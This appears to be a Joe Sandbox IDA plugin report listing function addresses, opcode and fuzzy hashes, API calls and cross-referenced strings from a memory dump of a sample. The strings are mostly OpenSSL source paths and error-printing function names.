Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_new_ex$crypto\conf\conf_lib.c
API String ID: 3906573944-1639717269
Opcode ID: 16332b87ade177e314a58d0ea5342a7a6d8e4c078d6c789f48ea4743b23421c1
Instruction ID: 88353599e741d57119cdd3024136145c768739560b440c764e27a2b69696ed2a
Opcode Fuzzy Hash: 16332b87ade177e314a58d0ea5342a7a6d8e4c078d6c789f48ea4743b23421c1
Instruction Fuzzy Hash: EFE0D8743802426AD604E7789D83F0A72C4DF45540F144438F54DE6243EB90F919A217

Function 1005E590 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005E5D4

Strings

crypto\engine\tb_cipher.c, xrefs: 1005E5C1
ENGINE_get_cipher, xrefs: 1005E5BA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_get_cipher$crypto\engine\tb_cipher.c
API String ID: 3906573944-2944140585
Opcode ID: 8fd662169b19569a22bb7c322dd8196c7afa37bbfd2424d2ddab1e8333dd938e
Instruction ID: 1547956b175398f1f1f2218464b9dab3c59b7c1dd2dffa7d731fb69d7ce6408b
Opcode Fuzzy Hash: 8fd662169b19569a22bb7c322dd8196c7afa37bbfd2424d2ddab1e8333dd938e
Instruction Fuzzy Hash: BDE0D87474030176EA08DA34CD46F2B32D5EF80B00F00C808F78C9A1C2FA74FD049506

Function 10061D90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061DC8

Strings

crypto\evp\evp_utils.c, xrefs: 10061DB5
geterr, xrefs: 10061DAE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$geterr
API String ID: 3906573944-811583794
Opcode ID: 9ac57bf26cb736454e451476d9444e91706ea3504d8ce1af7ddc362b45ae3f56
Instruction ID: eaa4ea828b12d9066b638d9739c3a9f1c991ecb59db068b56fc914be5c1b2d8d
Opcode Fuzzy Hash: 9ac57bf26cb736454e451476d9444e91706ea3504d8ce1af7ddc362b45ae3f56
Instruction Fuzzy Hash: BCE0D838B402017EEA20E675AC42F8A36D1FF41760F494754F26CD60D1FBB5E454E207

Function 10061DF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061E28

Strings

crypto\evp\evp_utils.c, xrefs: 10061E15
seterr, xrefs: 10061E0E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$seterr
API String ID: 3906573944-2820180415
Opcode ID: 0bddc248037a1f7ce7b39bda55ed99270f64f46ab69c9a4305f66380cd659ce6
Instruction ID: 82f24baea002a904d719ebe2086cbc4dcbd29247e20c416f3986e056e5bbc28f
Opcode Fuzzy Hash: 0bddc248037a1f7ce7b39bda55ed99270f64f46ab69c9a4305f66380cd659ce6
Instruction Fuzzy Hash: 37E092347402026EE630EA749C42F4B36D2EB41B61F454654F6ACD60D1EBB6E424A107

Function 10061E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061E88

Strings

crypto\evp\evp_utils.c, xrefs: 10061E75
geterr, xrefs: 10061E6E

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$geterr
API String ID: 3906573944-811583794
Opcode ID: 2da5ed8557a08ca7d5c637eba3502cfd6155cb0435a9898aab9de2dbc192a4fe
Instruction ID: 788c334ad43f1fcd671160af772ebbf0e1e23b4cf41d15b38fe2dbda8cb14f0e
Opcode Fuzzy Hash: 2da5ed8557a08ca7d5c637eba3502cfd6155cb0435a9898aab9de2dbc192a4fe
Instruction Fuzzy Hash: 4BE0D83874020229E620D6349C42F9A35C1EF41750F850754B51CD50D1EBA5E4949007

Function 10061EA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10061ED8

Strings

crypto\evp\evp_utils.c, xrefs: 10061EC5
geterr, xrefs: 10061EBE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\evp\evp_utils.c$geterr
API String ID: 3906573944-811583794
Opcode ID: c4d1d2a8d33914ec6069200f76b625479b5da0f2470a1ae28fd0914e3c60559e
Instruction ID: 37fee0e7aab6a4b6148822ae5bf3ee8354ae9a32a2c6623d2a86012eb4ffe4ff
Opcode Fuzzy Hash: c4d1d2a8d33914ec6069200f76b625479b5da0f2470a1ae28fd0914e3c60559e
Instruction Fuzzy Hash: 6AE080347442026AF520D6749C46F8A35D1EF41750F850754F55CD50E2FBB6F4D5E047

Function 1005F1A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1005F1D6

Strings

crypto\provider_core.c, xrefs: 1005F1C4
get_provider_store, xrefs: 1005F1BA

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\provider_core.c$get_provider_store
API String ID: 3906573944-1804035588
Opcode ID: b1259a56b7f724deac6721db8aae7f2eef6e4624d7ece612465b4626681d9a78
Instruction ID: 5ae81660af1c1c55bcb85b351f3e059a487639e871288ad49a65d418df6d9fd2
Opcode Fuzzy Hash: b1259a56b7f724deac6721db8aae7f2eef6e4624d7ece612465b4626681d9a78
Instruction Fuzzy Hash: E9D05E35A8426172C520A2A47C47FDF1844DF02BA1F050214FA9D7A183E999396491E6

Function 10076610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10076645

Strings

crypto\evp\evp_rand.c, xrefs: 10076632
EVP_RAND_enable_locking, xrefs: 1007662B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: EVP_RAND_enable_locking$crypto\evp\evp_rand.c
API String ID: 3906573944-3048646011
Opcode ID: 32f6fc85f11a171c8b72212ea5291bbaa09e5c71bab69a41da36045be88ab078
Instruction ID: 7afb428e19475df431144e73ab792766f873e6532917b40b2253521935c1ad3a
Opcode Fuzzy Hash: 32f6fc85f11a171c8b72212ea5291bbaa09e5c71bab69a41da36045be88ab078
Instruction Fuzzy Hash: 9CE0C2383806003BE610DA64EE07F173690EB45B40FC04094F60CEA1D2EE66F928D14A

Function 10078740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078772

Strings

do_init_module_list_lock, xrefs: 10078758
crypto\conf\conf_mod.c, xrefs: 1007875F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\conf\conf_mod.c$do_init_module_list_lock
API String ID: 3906573944-1688383198
Opcode ID: 64131c510959cfa386b76c2884cb7a4dc66171f3bd82e2057d25baad77c83cd8
Instruction ID: 12a03d856ecc5ba37d137fc7b88ebaf20b7914a1c8cdb892d69c4544ac443aef
Opcode Fuzzy Hash: 64131c510959cfa386b76c2884cb7a4dc66171f3bd82e2057d25baad77c83cd8
Instruction Fuzzy Hash: C4E08CF8580701A5E210AB60AC87B443484B746B04F804114F24CAD2C2EFF6A01CEF07

Function 101A1940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

realloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 101A1949
_msize.API-MS-WIN-CRT-HEAP-L1-1-0(?,?), ref: 101A195F

Strings

failed memory resize %u to %u bytes, xrefs: 101A1968

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: _msizerealloc
String ID: failed memory resize %u to %u bytes
API String ID: 2713192863-2134078882
Opcode ID: a9821d05122e78986c57dd25eae6ebc52515ed6dad8c1ebc0fce32e52a685731
Instruction ID: ed7199b73b9e2efa633f69b28da4f119de7cb796a9529ac8798227144ca69602
Opcode Fuzzy Hash: a9821d05122e78986c57dd25eae6ebc52515ed6dad8c1ebc0fce32e52a685731
Instruction Fuzzy Hash: A0D0C23E904220BFC7112650BC0295BBA91DF446B4F108524FC6C55120D636AC20D7C3

Function 10078110 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10078137

Strings

crypto\conf\conf_lib.c, xrefs: 10078127
NCONF_load, xrefs: 1007811D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_load$crypto\conf\conf_lib.c
API String ID: 3906573944-95318575
Opcode ID: ac77748522ce259858b2cbbf57ad41bee8289e2caec1db0f4bba255880e6bed9
Instruction ID: 3639d00dbbd9056573b1851279054a8071fc6e19850831436c049e70135957db
Opcode Fuzzy Hash: ac77748522ce259858b2cbbf57ad41bee8289e2caec1db0f4bba255880e6bed9
Instruction Fuzzy Hash: 23E012743C42416AD614DB24DE82F1A76D5EB45B00F11455CF24CEA182DE60A918A516

Function 10089420 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10089455

Strings

D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c, xrefs: 1008943F
ERR_CAPI_error, xrefs: 10089438

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c$ERR_CAPI_error
API String ID: 3906573944-4181486500
Opcode ID: 0b038b848b7cc321826f3be1b0bcf6e1dd23592484c169cd57ec7539f7f4533e
Instruction ID: bcab6cd216d458cd5e38e6dbe40b96c289f400f2dacb3fc3967ce71fce131920
Opcode Fuzzy Hash: 0b038b848b7cc321826f3be1b0bcf6e1dd23592484c169cd57ec7539f7f4533e
Instruction Fuzzy Hash: 4DE0E679848305EDD701AF64FC86F4B7991FB89608F510518F18C640A2CE71A8A9BB07

Function 1007B650 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007B67A

Strings

crypto\engine\eng_lib.c, xrefs: 1007B667
ENGINE_set_id, xrefs: 1007B65D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_set_id$crypto\engine\eng_lib.c
API String ID: 3906573944-58842021
Opcode ID: fdfcc9f2b68af3c8b1e307b20953c7307676f616117e3992b1876b7a60621a6e
Instruction ID: cd727f32d139af28aaa20422b74aad61f9ecc0ea54f49900926fbd5b1b7febb4
Opcode Fuzzy Hash: fdfcc9f2b68af3c8b1e307b20953c7307676f616117e3992b1876b7a60621a6e
Instruction Fuzzy Hash: CAD05E3834434166E604DB64ED43F5E72D0EB41B08F85455CF78CEA2C2DEA5BC48E41A

Function 1007B6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007B6EA

Strings

ENGINE_set_name, xrefs: 1007B6CD
crypto\engine\eng_lib.c, xrefs: 1007B6D7

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ENGINE_set_name$crypto\engine\eng_lib.c
API String ID: 3906573944-911821258
Opcode ID: 682e6b4803a798f6a31d60513d143520097ec21a366d4fe21ced149ab7ba6950
Instruction ID: de6797aa97ec0aed35917296cbf814fac14ca4c9d8eb3137eef1a7dc617c5160
Opcode Fuzzy Hash: 682e6b4803a798f6a31d60513d143520097ec21a366d4fe21ced149ab7ba6950
Instruction Fuzzy Hash: 83D02E383803002AD204DB24AD03F1E32D0EB40B08F84804CF78CEA2C2DEA8BC48E50A

Function 100A5700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A572A

Strings

OSSL_DECODER_CTX_set_cleanup, xrefs: 100A570D
crypto\encode_decode\decoder_lib.c, xrefs: 100A5717

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_cleanup$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-1523356872
Opcode ID: b4bc3ce4ce5d984f855023dcaf4337b53971d65ece20ec5603a30f9d3f2f80c3
Instruction ID: ef2f858ff471506ee1d282caac1a06c05bd6622c4df89cc8a86883e3f04eebcb
Opcode Fuzzy Hash: b4bc3ce4ce5d984f855023dcaf4337b53971d65ece20ec5603a30f9d3f2f80c3
Instruction Fuzzy Hash: B9D01278344341A6E604DA64AD06F1B36D0EB40B19F94455CF68CE9182E6A1A904E156

Function 100A5750 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A577A

Strings

OSSL_DECODER_CTX_set_construct, xrefs: 100A575D
crypto\encode_decode\decoder_lib.c, xrefs: 100A5767

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_construct$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-2374168990
Opcode ID: 7de1b8ea17a522ac26254d469708c616450f8febf8aa60b1e70c52bd176cdba3
Instruction ID: cd60d1e29960000afe251c8910528cd7ef8fe0269a1515f3d987cd4fa39e5e2c
Opcode Fuzzy Hash: 7de1b8ea17a522ac26254d469708c616450f8febf8aa60b1e70c52bd176cdba3
Instruction Fuzzy Hash: 55D01278344301A6D604DAA49C16F5A3690EB80B15F54455CB688E9183E7A1A954E146

Function 100A57A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A57CA

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A57B7
OSSL_DECODER_CTX_set_construct_data, xrefs: 100A57AD

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_construct_data$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-2440260920
Opcode ID: ddebd992f044afd258cc1250608d18f4f55a252b873a1c7feae30cd4b92fa9c0
Instruction ID: e2125b62d7818c5ccae7c19f9ccbf2d1a45a719e826cd8d27e445d9ae28a1971
Opcode Fuzzy Hash: ddebd992f044afd258cc1250608d18f4f55a252b873a1c7feae30cd4b92fa9c0
Instruction Fuzzy Hash: B9D05B78344301A7D604DBA4AC43F1E31D0EF50B55F54455CF68CF51C2EAA1BD40E546

Function 100A57F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A581A

Strings

crypto\encode_decode\decoder_lib.c, xrefs: 100A5807
OSSL_DECODER_CTX_set_input_structure, xrefs: 100A57FD

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_input_structure$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-1535725138
Opcode ID: d032db574a808273500a2c828889635cba4d97f47cbe544c9129db48521122ad
Instruction ID: e730e63aa2b02ba17e4ce98fb6573e5bc81c102ac62aa4316f47746d3ed3376d
Opcode Fuzzy Hash: d032db574a808273500a2c828889635cba4d97f47cbe544c9129db48521122ad
Instruction Fuzzy Hash: 01D05E78781341BBE604EB689D03F5E7AD4FF80B15F84855CF68CEA1C2EAA1A901E156

Function 100A5840 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A586A

Strings

OSSL_DECODER_CTX_set_input_type, xrefs: 100A584D
crypto\encode_decode\decoder_lib.c, xrefs: 100A5857

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_input_type$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-1182542866
Opcode ID: 44c2c00d70812bf3bff9f22dcf5ce3ec384807067b0d521cc1ce06eda358191e
Instruction ID: 289c3e584bd38b78d306bfda2b8e50bb1290595c5436fc551a09b9d0220c078a
Opcode Fuzzy Hash: 44c2c00d70812bf3bff9f22dcf5ce3ec384807067b0d521cc1ce06eda358191e
Instruction Fuzzy Hash: D3D01778381301A6E604EA689D02F1A3690EB84B59F944558BB88EA282EAA1A900E116

Function 100A5890 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A58BA

Strings

OSSL_DECODER_CTX_set_selection, xrefs: 100A589D
crypto\encode_decode\decoder_lib.c, xrefs: 100A58A7

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_CTX_set_selection$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-3201486694
Opcode ID: b7c9da3513b2e2f9dea236a8cb3814ce8aaea9f495f79836e7e0fbfb0bc9e476
Instruction ID: 6dd824f4fae78a07dc058cf5551b9162e056367055450b5c6b6cccaf86163d4a
Opcode Fuzzy Hash: b7c9da3513b2e2f9dea236a8cb3814ce8aaea9f495f79836e7e0fbfb0bc9e476
Instruction Fuzzy Hash: 17D05E78380301AAE604EB68DD43F5A76D0EF80B15F94855CF68CEA1C2EAB5A941E117

Function 10057A60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

